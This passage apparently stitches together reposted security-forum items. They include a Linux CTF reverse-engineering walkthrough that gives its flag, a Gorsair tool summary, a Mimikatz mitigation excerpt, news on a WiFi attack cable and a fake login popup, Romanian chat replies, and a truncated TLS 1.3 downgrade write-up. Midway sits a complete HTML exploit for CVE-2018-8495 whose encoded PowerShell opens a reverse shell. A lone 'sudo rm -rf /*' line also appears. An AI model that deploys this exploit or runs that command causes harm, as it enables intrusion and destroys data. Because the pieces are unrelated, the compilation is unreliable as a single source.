__x86.get_pc_thunk.dx 0x000011e9 main 0x000012d9 comp_key 0x00001400 __libc_csu_init 0x00001460 __libc_csu_fini 0x00001464 _fini This is how you debug a program. We will hit a break point at the main function. Use n to step and ni to step each instruction. If you don’t know assembly, in a basic challenge like this, look for jumps, compare instructions. Try to understand what check the program does and build the logic in your mind. There are many good crash courses on assembly and I would recommend reading few. gdb-peda$ break main Breakpoint 1 at 0x11f9 gdb-peda$ run aaaaaaaa Starting program: /mnt/hgfs/shared/Linux RE/nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaaaaaa [----------------------------------registers-----------------------------------] EAX: 0xf7f95dd8 --> 0xffffd2f0 --> 0xffffd4d1 ("NVM_DIR=/root/.nvm") EBX: 0x0 ECX: 0xffffd250 --> 0x2 EDX: 0xffffd274 --> 0x0 ESI: 0xf7f94000 --> 0x1d5d8c EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd22c --> 0xffffd250 --> 0x2 EIP: 0x565561f9 (<main+16>: sub esp,0x1c) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x565561f6 <main+13>: push esi 0x565561f7 <main+14>: push ebx 0x565561f8 <main+15>: push ecx => 0x565561f9 <main+16>: sub esp,0x1c 0x565561fc <main+19>: call 0x565560f0 <__x86.get_pc_thunk.bx> 0x56556201 <main+24>: add ebx,0x2dff 0x56556207 <main+30>: mov esi,ecx 0x56556209 <main+32>: mov DWORD PTR [ebp-0x1c],0x0 [------------------------------------stack-------------------------------------] 0000| 0xffffd22c --> 0xffffd250 --> 0x2 0004| 0xffffd230 --> 0x0 0008| 0xffffd234 --> 0xf7f94000 --> 0x1d5d8c 0012| 0xffffd238 --> 0x0 0016| 0xffffd23c --> 0xf7dd79a1 (<__libc_start_main+241>: add esp,0x10) 0020| 0xffffd240 --> 0xf7f94000 --> 0x1d5d8c 0024| 0xffffd244 --> 0xf7f94000 --> 0x1d5d8c 0028| 0xffffd248 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x565561f9 in main () 1: main = {<text variable, no debug info>} 0x565561e9 <main> 2: puts = {<text variable, no debug info>} 0xf7e25e40 <puts> gdb-peda$ If you play with gdb for a little you realize how it works. Let’s try to understand the logic part by part. The program first tries to compare the number of arguments. It’s stored in ecx register and moved to esi and it’s used to compare the value with 0x2. You can use gdb to go through the assembly instructions and understand better. 0x56556207 <+30>: mov esi,ecx 0x56556209 <+32>: mov DWORD PTR [ebp-0x1c],0x0 0x56556210 <+39>: mov DWORD PTR [ebp-0x24],0x7 0x56556217 <+46>: cmp DWORD PTR [esi],0x2 0x5655621a <+49>: je 0x56556238 <main+79> 0x5655621c <+51>: sub esp,0xc 0x5655621f <+54>: lea eax,[ebx-0x1ff8] 0x56556225 <+60>: push eax 0x56556226 <+61>: call 0x56556040 <printf@plt> 0x5655622b <+66>: add esp,0x10 0x5655622e <+69>: sub esp,0xc 0x56556231 <+72>: push 0x1 0x56556233 <+74>: call 0x56556060 <exit@plt> We can write pseudo code like this. 1 2 3 4 if(argc != 2) { printf("Usage: script.exe <key>"); exit(1); } 0x56556238 <+79>: mov eax,DWORD PTR [esi+0x4] 0x5655623b <+82>: add eax,0x4 0x5655623e <+85>: mov eax,DWORD PTR [eax] 0x56556240 <+87>: sub esp,0xc 0x56556243 <+90>: push eax 0x56556244 <+91>: call 0x56556070 <strlen@plt> 0x56556249 <+96>: add esp,0x10 0x5655624c <+99>: cmp eax,0xf 0x5655624f <+102>: jbe 0x5655626d <main+132> 0x56556251 <+104>: sub esp,0xc 0x56556254 <+107>: lea eax,[ebx-0x1fe0] 0x5655625a <+113>: push eax 0x5655625b <+114>: call 0x56556050 <puts@plt> 0x56556260 <+119>: add esp,0x10 0x56556263 <+122>: sub esp,0xc 0x56556266 <+125>: push 0x1 0x56556268 <+127>: call 0x56556060 <exit@plt> After translating: 1 2 3 4 if(strlen(argv[1]) > 15) { puts("Length of argv[1] too long."); exit(1); } If you check this code we can see there is a loop going through iterating each character of our supplied string. 0x5655626d <+132>: mov DWORD PTR [ebp-0x20],0x0 0x56556274 <+139>: jmp 0x56556290 <main+167> 0x56556276 <+141>: mov eax,DWORD PTR [esi+0x4] 0x56556279 <+144>: add eax,0x4 0x5655627c <+147>: mov edx,DWORD PTR [eax] 0x5655627e <+149>: mov eax,DWORD PTR [ebp-0x20] 0x56556281 <+152>: add eax,edx 0x56556283 <+154>: movzx eax,BYTE PTR [eax] 0x56556286 <+157>: movsx eax,al 0x56556289 <+160>: add DWORD PTR [ebp-0x1c],eax 0x5655628c <+163>: add DWORD PTR [ebp-0x20],0x1 0x56556290 <+167>: mov eax,DWORD PTR [ebp-0x20] 0x56556293 <+170>: cmp eax,DWORD PTR [ebp-0x24] 0x56556296 <+173>: jl 0x56556276 <main+141> 0x56556298 <+175>: cmp DWORD PTR [ebp-0x1c],0x321 0x5655629f <+182>: jne 0x565562bb <main+210> 0x565562a1 <+184>: call 0x565562d9 <comp_key> 0x565562a6 <+189>: sub esp,0x8 0x565562a9 <+192>: push eax 0x565562aa <+193>: lea eax,[ebx-0x1fc4] 0x565562b0 <+199>: push eax 0x565562b1 <+200>: call 0x56556040 <printf@plt> 0x565562b6 <+205>: add esp,0x10 0x565562b9 <+208>: jmp 0x565562cd <main+228> 0x565562bb <+210>: sub esp,0xc 0x565562be <+213>: lea eax,[ebx-0x1fa2] 0x565562c4 <+219>: push eax 0x565562c5 <+220>: call 0x56556050 <puts@plt> 0x565562ca <+225>: add esp,0x10 0x565562cd <+228>: nop 0x565562ce <+229>: lea esp,[ebp-0xc] 0x565562d1 <+232>: pop ecx 0x565562d2 <+233>: pop ebx 0x565562d3 <+234>: pop esi 0x565562d4 <+235>: pop ebp 0x565562d5 <+236>: lea esp,[ecx-0x4] 0x565562d8 <+239>: ret Up to how many characters does it loop? Here’s how I found it. Basically, our password must be of 7 characters in length. [----------------------------------registers-----------------------------------] EAX: 0x6 EBX: 0x56559000 --> 0x3efc ECX: 0x6 EDX: 0xffffd4c6 ("1234567890") ESI: 0xffffd250 --> 0x2 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd210 --> 0xf7f943fc --> 0xf7f95200 --> 0x0 EIP: 0x56556293 (<main+170>: cmp eax,DWORD PTR [ebp-0x24]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56556289 <main+160>: add DWORD PTR [ebp-0x1c],eax 0x5655628c <main+163>: add DWORD PTR [ebp-0x20],0x1 0x56556290 <main+167>: mov eax,DWORD PTR [ebp-0x20] => 0x56556293 <main+170>: cmp eax,DWORD PTR [ebp-0x24] 0x56556296 <main+173>: jl 0x56556276 <main+141> 0x56556298 <main+175>: cmp DWORD PTR [ebp-0x1c],0x321 0x5655629f <main+182>: jne 0x565562bb <main+210> 0x565562a1 <main+184>: call 0x565562d9 <comp_key> [------------------------------------stack-------------------------------------] 0000| 0xffffd210 --> 0xf7f943fc --> 0xf7f95200 --> 0x0 0004| 0xffffd214 --> 0x7 0008| 0xffffd218 --> 0x6 0012| 0xffffd21c --> 0x135 0016| 0xffffd220 --> 0x2 0020| 0xffffd224 --> 0xffffd2e4 --> 0xffffd487 ("/mnt/hgfs/shared/Linux RE/nix_5744af788e6cbdb29bb41e8b0e5f3cd5") 0024| 0xffffd228 --> 0xffffd2f0 --> 0xffffd4d1 ("NVM_DIR=/root/.nvm") 0028| 0xffffd22c --> 0xffffd250 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56556293 in main () gdb-peda$ print $ebp-0x24 $24 = (void *) 0xffffd214 gdb-peda$ x/x 0xffffd214 0xffffd214: 0x00000007 After translating to high-level code, it would look something similar to this. 1 2 3 for (i = 0; i < 7; i++) value += argv[1]; if (value != 801) return puts("\n[+] No flag for you. [+]"); return printf("[+] The flag is: SAYCURE{%s} [+]\n", comp_key()); Basically, the sum of each byte of our password must be equal to 801. Givens us 7 characters, we can sum up like this. You can use any calculation which sums up to 801. After this check is done it calls the comp_key function and prints out the flag. We don’t really need to dig the com_key function as it directly gives us the flag. 114 * 6 + 177 = 801 Let’s check those characters in the ASCII table. 114 is ‘r’ and 117 is ‘u’. Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex 0 00 NUL 16 10 DLE 32 20 48 30 0 64 40 @ 80 50 P 96 60 ` 112 70 p 1 01 SOH 17 11 DC1 33 21 ! 49 31 1 65 41 A 81 51 Q 97 61 a 113 71 q 2 02 STX 18 12 DC2 34 22 " 50 32 2 66 42 B 82 52 R 98 62 b 114 72 r 3 03 ETX 19 13 DC3 35 23 # 51 33 3 67 43 C 83 53 S 99 63 c 115 73 s 4 04 EOT 20 14 DC4 36 24 $ 52 34 4 68 44 D 84 54 T 100 64 d 116 74 t 5 05 ENQ 21 15 NAK 37 25 % 53 35 5 69 45 E 85 55 U 101 65 e 117 75 u 6 06 ACK 22 16 SYN 38 26 & 54 36 6 70 46 F 86 56 V 102 66 f 118 76 v 7 07 BEL 23 17 ETB 39 27 ' 55 37 7 71 47 G 87 57 W 103 67 g 119 77 w 8 08 BS 24 18 CAN 40 28 ( 56 38 8 72 48 H 88 58 X 104 68 h 120 78 x 9 09 HT 25 19 EM 41 29 ) 57 39 9 73 49 I 89 59 Y 105 69 i 121 79 y 10 0A LF 26 1A SUB 42 2A * 58 3A : 74 4A J 90 5A Z 106 6A j 122 7A z 11 0B VT 27 1B ESC 43 2B + 59 3B ; 75 4B K 91 5B [ 107 6B k 123 7B { 12 0C FF 28 1C FS 44 2C , 60 3C < 76 4C L 92 5C \ 108 6C l 124 7C | 13 0D CR 29 1D GS 45 2D - 61 3D = 77 4D M 93 5D ] 109 6D m 125 7D } 14 0E SO 30 1E RS 46 2E . 62 3E > 78 4E N 94 5E ^ 110 6E n 126 7E ~ 15 0F SI 31 1F US 47 2F / 63 3F ? 79 4F O 95 5F _ 111 6F o 127 7F DEL That’s it! We just solved a very simple binary # ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 rrrrrru [+] The flag is: SAYCURE{L3ts_g3t_in2_R3} [+] Check out my previous CTF solution posts here Birthday Crackme/ Rootme No software breakpoints Cracking Challenge Solving Root-me Ptrace challenge https://asciinema.org/~Osanda References http://www.cirosantilli.com/elf-hello-world/ Sursa: https://osandamalith.com/2019/02/11/linux-reverse-engineering-ctfs-for-beginners/

Gorsair Gorsair is a penetration testing tool for discovering and remotely accessing Docker APIs from vulnerable Docker containers. Once it has access to the docker daemon, you can use Gorsair to directly execute commands on remote containers. Exposing the docker API on the internet is a tremendous risk, as it can let malicious agents get information on all of the other containers, images and system, as well as potentially getting privileged access to the whole system if the image uses the root user. Command line options -t, --targets: Set targets according to the nmap target format. Required. Example: --targets="192.168.1.72,192.168.1.74" -p, --ports: (Default: 2375,2376) Set custom ports. -s, --speed: (Default: 4) Set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. You might also want to keep it low to keep your discovery stealthy. See this for more info on the nmap timing templates. -v, --verbose: Enable more verbose logs. -D, --decoys: List of decoy IP addresses to use (see the decoy section of the nmap documentation) -e, --interface: Network interface to use --proxies: List of HTTP/SOCKS4 proxies to use to deplay connections with (see documentation) -S, --spoof-ip: IP address to use for IP spoofing --spoof-mac: MAC address to use for MAC spoofing -v, --verbose: Enable verbose logging -h, --help: Display the usage information How can I protect my containers from this attack Avoid putting containers that have access to the docker socket on the internet Avoid using the root account in docker containers Sursa: https://github.com/Ullaakut/Gorsair

Mitigations against Mimikatz Style Attacks Published: 2019-02-05 Last Updated: 2019-02-05 15:26:32 UTC by Rob VandenBrink (Version: 1) If you are like me, at some point in most penetration tests you'll have a session on a Windows host, and you'll have an opportunity to dump Windows credentials from that host, usually using Mimikatz. Mimikatz parses credentials (either clear-text or hashes) out of the LSASS process, or at least that's where it started - since it's original version back in the day, it has expanded to cover several different attack vectors. An attacker can then use these credentials to "pivot" to attack other resources in the network - this is commonly called "lateral movement", though in many cases you're actually walking "up the tree" to ever-more-valuable targets in the infrastructure. The defender / blue-teamer (or the blue-team's manager) will often say "this sounds like malware, isnt't that what Antivirus is?". Sadly, this is half right - malware does use this style of attack. The Emotet strain of malware for instance does exactly this, once it gains credentials and persistence it often passes control to other malware (such as TrickBot or Ryuk). Also sadly, it's been pretty easy to bypass AV on this for some time now - there are a number of well-known bypasses that penetration testers use for the Mimikatz + AV combo, many of them outlined on the BHIS blog: https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz But what about standard Windows mitigations against Mimikatz? Let's start from the beginnning, when Mimikatz first came out, Microsoft patched against that first version of code using KBKB2871997 (for Windows 7 era hosts, way back in 2014). Articol complet: https://isc.sans.edu/diary/rss/24612

Sunt cateva lucruri de care trebuie sa tii cont: calitate video, calitate audio, capacitate baterie si features. Depinde ce esti dispus sa sacrifici si ce buget ai. Spre exemplu, de lipit una pe casca de la motocicleta, nu am nevoie de sunet ci de calitate buna video si baterie. Iar asta e low-cost dar calitate foarte buna: https://www.amazon.co.uk/Crosstour-Action-Underwater-Control-Waterproof/dp/B07B3ZKDR7 Dar daca vrei ceva pentru masina sunt si variante mai ieftine sau mai scumpe. Ori daca vrei ceva subacvatic ori pentru streaming ori alte cele, atunci e alta mancare de peste.

Cu asta " Am crezut ca ii o platforma de profesionisti(nu neg ca nu exista printre voi profesionisti , si cred ca unii ft ft buni) ! ms oricum ," ti-ai cam taiat craca

New Offensive USB Cable Allows Remote Attacks over WiFi By Lawrence Abrams February 11, 2019 12:27 PM Like a scene from a James Bond or Mission Impossible movie, a new offensive USB cable plugged into a computer could allow attackers to execute commands over WiFi as if they were using the computer's keyboard. When plugged into a Linux, Mac, or Windows computer, this cable is detected by the operating system as a HID or human interface device. As HID devices are considered input devices by an operating system, they can be used to input commands as if they are being typed on a keyboard. Created by security researcher Mike Grover, who goes by the alias _MG_, the cable includes an integrated WiFi PCB that was created by the researcher. This WiFi chip allows an attacker to connect to the cable remotely to execute command on the computer or manipulate the mouse cursor. PCB with Embedded WiFi Chip In a video demonstration by Grover, you can see how the researcher simply plugs a cable into the a PC and is able to connect to it remotely to issue commands through an app on his mobile phone. In an interview with BleepingComputer, Grover explained that when plugged in, the cable is seen as a keyboard and a mouse. This means an attacker can input commands regardless of whether the device is locked or not. Even scarier, if the computer normally locks a session using an inactivity timer, the cable can be configured to simulate user interaction to prevent this. "It “works” just like any keyboard and mouse would at a lock screen, which means you can type and move the mouse," Grover told BleepingComputer. "Therefore, if you get access to the password you can unlock the device. Also, if the target relies on an inactivity timer to auto lock the machine, then it’s easy to use this cable to keep the lock from initiating by simulating user activity that the user would not notice otherwise (tiny mouse movements, etc)." Grover further told BleepingComputer that these WiFi chips can be preconfigured to connect to a WiFi network and potentially open reverse shells to a remote computer. This could allow attackers in remote locations to execute commands to grant further visibility to the computer when not in the vicinity of the cable. The app that issues commands to the O·MG cable is being developed collaboratively according to blog post by Grover. The developers hope to port the ESPloitV2 tool for use in the cable. WiFi deuthentication attacks may also be possible While the HID attack can be prevented using a USB condom, which prevents data transmission between the cable and the computer, Grover told BleepingComputer that it could still be used for WiFi deauthentication attacks. WiFi deauth attacks are used to disconnect nearby wireless devices from an access point by sending deauthentication frames from spoofed MAC addresses. Grover envisions that a deauth attack can be used in scenarios where the attacker does not have access to a location to perform an attack, but the victim's plugged in cable does. This could allow a remote attacker to create a physical diversion while allowing another remote attack that may have been noticed to slip by. As an example, Grover illustrated the following scenario. "You aren’t in range of a wireless target, but the target person is. Using this cable, you can get them to carry the attack hardware inside a controlled area. Maybe to disrupt a camera? Maybe a fun disruption/diversion for another attack. (Imagine distributing a dozen inside an office and suddenly IT/Sec is focused on the chaos)." Researcher hopes to sell the cable This cable is not currently for sale, but Grover hopes to sell it to other security researchers in the future. Grover told BleepingComputer that he has spent approximately $4,000 over 300 hours of research into creating the needed WiFi PCBs and adding them to the cable. This was done using a desktop mill, which is typically not used to create high quality PCBs in a DIY environment. Due to this, many users were surprised by the quality of Grover's chips and Bantam, the manufacturer of the mill, reached out to learn how the researcher was able to do it. PCBs printed in various colors by Grover Before selling the cables, the researcher still wants to make more changes before sending it off for production. Sursa: https://www.bleepingcomputer.com/news/security/new-offensive-usb-cable-allows-remote-attacks-over-wifi/#.XGG_FsgLNm8.twitter

<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> <meta http-equiv="Expires" content="0"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Cache" content="no-cache"> </head> <body> <b>Windows Edge/IE 11 - RCE (CVE-2018-8495)</b> </br></br> <!-- adapt payload since this one connectback on an internal IP address (just a private VM nothing else sorry ;) ) --> <a id="q" href='wshfile:test/../../system32/SyncAppvPublishingServer.vbs" test test;powershell -nop -executionpolicy bypass -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADUANgAuADEAIgAsADgAMAApADsAJABzAHQAcgBlAGEAbQAg AD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEA ZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4 AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMA dAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0 AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4A TABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=;"'>Exploit-it now !</a> <script> window.onkeydown=e=>{ window.onkeydown=z={}; q.click() } </script> </body> </html> Sursa: https://github.com/kmkz/exploit/blob/master/CVE-2018-8495.html

When is a vulnerability actually a vulnerability? I can't answer this question easily, and thus we look at a few examples in this video.

WARNING – New Phishing Attack That Even Most Vigilant Users Could Fall For February 15, 2019Mohit Kumar How do you check if a website asking for your credentials is fake or legit to log in? By checking if the URL is correct? By checking if the website address is not a homograph? By checking if the site is using HTTPS? Or using software or browser extensions that detect phishing domains? Well, if you, like most Internet users, are also relying on above basic security practices to spot if that "Facebook.com" or "Google.com" you have been served with is fake or not, you may still fall victim to a newly discovered creative phishing attack and end up in giving away your passwords to hackers. Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, told The Hacker News that his team recently spotted a new phishing attack campaign "that even the most vigilant users could fall for." Vincent found that cybercriminals are distributing links to blogs and services that prompt visitors to first "login using Facebook account" to read an exclusive article or purchase a discounted product. That’s fine. Login with Facebook or any other social media service is a safe method and is being used by a large number of websites to make it easier for visitors to sign up for a third-party service quickly. Generally, when you click "log in with Facebook" button available on any website, you either get redirected to facebook.com or are served with facebook.com in a new pop-up browser window, asking you to enter your Facebook credentials to authenticate using OAuth and permitting the service to access your profile’s necessary information. However, Vincent discovered that the malicious blogs and online services are serving users with a very realistic-looking fake Facebook login prompt after they click the login button which has been designed to capture users’ entered credentials, just like any phishing site. As shown in the video demonstration Vincent shared with The Hacker News, the fake pop-up login prompt, actually created with HTML and JavaScript, are perfectly reproduced to look and feel exactly like a legitimate browser window—a status bar, navigation bar, shadows and URL to the Facebook website with green lock pad indicating a valid HTTPS. Moreover, users can also interact with the fake browser window, drag it here-and-there or exit it in the same way any legitimate window acts. The only way to protect yourself from this type of phishing attack, according to Vincent, "is to actually try to drag the prompt away from the window it is currently displayed in. If dragging it out fails (part of the popup disappears beyond the edge of the window), it's a definite sign that the popup is fake." Besides this, it is always recommended to enable two-factor authentication with every possible service, preventing hackers from accessing your online accounts if they somehow manage to get your credentials. Phishing schemes are still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts. Stay tuned, stay safe! Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/advance-phishing-login-page.html?m=1

sudo rm -rf /*

Inca un motiv pentru care ar trebui implementat un sistem anti-prost. Un mic test de inteligenta, si n-ati trece de Sign-Up nici jumatate.

Downgrade Attack on TLS 1.3 and Vulnerabilities in Major TLS Libraries On November 30, 2018. We disclosed CVE-2018-12404, CVE-2018-19608, CVE-2018-16868, CVE-2018-16869, and CVE-2018-16870. These were from vulnerabilities found back in August 2018 in several TLS libraries. Back on May 15, I approached Yuval Yarom with a few issues I had found in some TLS implementations. This led to a collaboration between Eyal Ronen, Robert Gillham, Daniel Genkin, Adi Shamir, Yuval Yarom and me. Spearheaded by Eyal, the research has now been published here. And as you can see, the inventor of RSA himself is now recommending you to deprecate RSA in TLS. We tested nine different TLS implementations against cache attacks and seven were found to be vulnerable: OpenSSL, Amazon s2n, MbedTLS, Apple CoreTLS, Mozilla NSS, WolfSSL, and GnuTLS. The cat is not dead yet, with two lives remaining thanks to BearSSL (developed by my colleague Thomas Pornin) and Google's BoringSSL. The attack leverages a side-channel leak via cache access timings of these implementations in order to break the RSA key exchanges of TLS implementations. The attack is interesting from multiple points of view (besides the fact that it affects many major TLS implementations): It affects all versions of TLS (including TLS 1.3) and QUIC. Where the latter version of TLS does not even offer an RSA key exchange! This prowess is achieved because of the only known downgrade attack on TLS 1.3. It uses state-of-the-art cache attack techniques. Flush+Reload? Prime+Probe? Branch-Predition? We have it. The attack is very efficient. We found ways to ACTIVELY target any browser, slow some of them down, or use the long tail distribution to repeatdly try to break a session. We even make use of lattices to speed up the problem. Manger and Ben-Or on RSA PKCS#1 v1.5. You heard of Bleichenbacher's million messages attack? Guess what, we found better. We use Manger's OAEP attack on RSA PKCS#1 v1.5 and even Ben-Or's algorithm which is more efficient than and was published BEFORE Bleichenbacher's work in 1998. I uploaded some of the code here. To learn more about the research, you should read the white paper. I will talk specifically about protocol-level exploitation in this blog post. Attacking RSA, The Origins Although the research of Ben-Or et al. was initially used to support the security proofs of RSA, it also outlined attacks on the protocol. Fifteen years later, in 1998, Daniel Bleichenbacher discovers a padding oracle and devises a unique and practical attack of his own on RSA. The consequences are severe. Most TLS implementations could be broken, and thus mitigations were designed to prevent Daniel's attack. Follows a long series of "re-discovery" in which the world realizes that it is not so easy to implement the advised mitigations: Bleichenbacher (CRYPTO 1998) also called the 1 million message attack, BB98, padding oracle attack on PKCS#1 v1.5, etc. Klima et al. (CHES 2003) Blei­chen­ba­cher’s At­tack Strikes Again: Brea­king PKCS#1 V1.5 In Xml En­cryp­ti­on (ESORICS 2012) Degabriele et al. (CT-RSA 2012) Bardou et al. (CRYPTO 2012) Cross-Tenant Side-Channel Attacks in PaaS Clouds (CCS 2014) Revisiting SSL/TLS Implementations: New Bleichenbacher Side Channels and Attacks (USENIX 2014) On the Security of TLS 1.3 and QUIC Against Weaknesses in PKCS#1 v1.5 Encryption (CCS 2015) DROWN (USENIX 2016) Return Of Bleichenbacher's Oracle Threat (USENIX 2018) The Dangers of Key Reuse: Practical Attacks on IPsec IKE (USENIX 2018) Let's be realistic, the mitigations that developers had to implement were unrealistic. Furthermore, an implementation that would attempt to log such attacks would actually help the attacks. Isn't that funny? The research I'm talking about today can be seen as one more of these "re-discoveries." My previous boss' boss (Scott Stender) once told me: "You can either be the first paper on the subject, or the best written one, or the last one." We're definitely not the first one, I don't know if we write that well, but we sure are hoping to be the last one RSA in TLS? Briefly, SSL/TLS (except TLS 1.3) can use an RSA key exchange during a handshake to negotiate a shared secret. An RSA key exchange is pretty straight forward: The client encrypts a shared secret under the server's RSA public key, then the server receives it and decrypts it. If we can use our attack to decrypt this value, we can then passively decrypt the session (and obtain a cookie for example), or we can actively impersonate one of the peer. Attacking Browsers, In Practice. We employ the BEAST-attack model (in addition to being colocated with the victim server for the cache attack) which I have previously explained in a video here. Beast With this position, we then attempt to decrypt the session between a victim client (Bob) and bank.com: we can serve him with some javascript content that will continuously attempt new connections on bank.com. (If it doesn't attempt a new connection, we can force it by making the current one fail since we're in the middle.) Why several connections instead of just one? Because most browsers (except Firefox which we can fool) will time out after some time (usually 30s). If an RSA key exchange is negotiated between the two peers: it's great, we have all the time in the world to passively attack the protocol. If an RSA key exchange is NOT negotiated: we need to actively attack the session to either downgrade or fake the server's RSA signature (more on that later). This takes time, because the attack requires us to send thousands of messages to the server. It will likely fail. But if we can try again, many times? It will likely succeed after a few trials. And that is why we continuously send connection attempts to bank.com. Attacking TLS 1.3 Two ways exist to attack TLS 1.3. In each attack, the server needs to support an older version of the protocol as well. The first technique relies on the fact that the current server’s public key is an RSA public key, used to sign its ephemeral keys during the handshake, and that the older version of TLS that the server supports re-use the same keys. The second one relies on the fact that both peers support an older version of TLS with a cipher suite supporting an RSA key exchange. While TLS 1.3 does not use the RSA encryption algorithm for its key exchanges, it does use the signature algorithm of RSA for it; if the server’s certificate contains an RSA public key, it will be used to sign its ephemeral public keys during the handshake. A TLS 1.3 client can advertise which RSA signature algorithm it wants to support (if any) between RSA and RSA-PSS. As most TLS 1.2 servers already provide support for RSA , most will re-use their certificates instead of updating to the more recent RSA-PSS. RSA digital signatures specified per the standard are really close to the RSA encryption algorithm specified by the same document, so close that Bleichenbacher’s decryption attack on RSA encryption also works to forge RSA signatures. Intuitivelly, we have pmse and the decryption attack allows us to find (pmse)d = pms, for forging signatures we can pretend that the content to be signed tbs (see RFC 8446) is tbs = pmse and obtain tbsd via the attack, which is by definition the signature over the message tbs. However, this signature forgery requires an additional step (blinding) in the conventional Bleichenbacher attack. In practice this can lead to hundreds of thousands of additional messages. The TLS 1.3 signature forgery attack using a TLS 1.2 server as Bleichenbacher oracle. Key-Reuse has been shown in the past to allow for complex cross-protocol attacks on TLS. Indeed, we can successfully forge our own signature of the handshake transcript (contained in the CertificateVerify message) by negotiating a previous version of TLS with the same server. The attack can be carried if this new connection exposes a length or bleichenbacher oracle with a certificate using the same RSA key but for key exchanges. Downgrading to TLS 1.2 Every TLS connection starts with a negotiation of the TLS version and other connection attributes. As the new version of TLS (1.3) does not offer an RSA key exchange, the exploitation of our attack must first begin with a downgrade to an older version of TLS. TLS 1.3 being relatively recent (August 2018), most servers supporting it will also support older versions of TLS (which all provide support for RSA key exchanges). A server not supporting TLS 1.3 would thus respond with an older TLS version’s (TLS 1.2 in our example) serverHello message. To downgrade a client’s connection attempt, we can simply spoof this answer from the server. Besides protocol downgrades, other techniques exist to force browser clients to fallback onto older TLS versions: network glitches, a spoofed TCP RST packet, a lack of response, etc. (see POODLE) The TLS 1.3 attack downgrades the victim to an older version of TLS. Continuing with a spoofed TLS 1.2 handshake, we can simply present the server’s RSA certificate in a ServerCertificate message and then end the handshake with a ServerHelloDone message. At this point, if the server does not have a trusted certificate allowing for RSA key exchanges, or if the client refuse to support RSA key exchanges or older versions than TLS 1.2, the attack is stopped. Otherwise, the client uses the RSA public key contained in the certificate to encrypt the TLS premaster secret, sends it in a ClientKeyExchange message and ends its part of the handshake with a ChangeCipherSpec and a Finished messages. The Decryption Attack performs a new handshake with the server, using a modified encrypted premaster secret obtained from the victim’s ChangeCipherSpec message. At this point, we need to perform our attack in order to decrypt the RSA encrypted premaster secret. The last Finished message that we send must contains an authentication tag (with HMAC) of the whole transcript, in addition of being encrypted with the transport keys derived from the premaster secret. While some clients will have no handshake timeouts, most serious applications like browsers will give up on the connection attempt if our response takes too much time to arrive. While the attack only takes a few thousand messages, this might still be too much in practice. Fortunately, several techniques exist to slow down the handshake: we can send the ChangeCipherSpec message which might reset the client’s timer we can send TLS warning alerts to reset the handshake timer Once the decryption attack terminates, we can send the expected Finished message to the client and finalize the handshake. From there everything is possible, from passively relaying and observing messages to the impersonated server through to actively tampering requests made to it. This downgrade attack bypasses multiple downgrade mitigations: one server-side and two client-side. TLS 1.3 servers that negotiate older versions of TLS must advertise this information to their peers. This is done by setting a quarter of the bytes from the server_random field in the ServerHello message to a known value. TLS 